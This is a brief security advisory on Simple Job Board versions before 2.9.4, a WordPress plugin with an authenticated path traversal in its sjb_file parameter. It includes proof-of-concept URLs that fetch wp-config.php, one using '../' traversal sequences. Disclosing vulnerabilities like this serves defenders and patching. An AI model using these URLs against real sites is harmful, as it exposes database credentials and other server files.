Simple Job Board < 2.9.4 - Authenticated Path Traversal Leading to Arbitrary File Download

The plugin does not validate the sjb_file parameter when viewing a resume, allowing authenticated user with the download_resume capability (such as HR users) to download arbitrary files from the web-server via a path traversal attack

PoC

The sjb_file parameter to use may depends on the configuration of the plugin, e.g: https://example.com/wp-admin/post.php?post=372&amp;action;=edit&amp;sjb;_file=var/www/wp-config.php https://example.com/wp-admin/post.php?post=372&amp;action;=edit&amp;sjb;_file=../../../../wp-config.php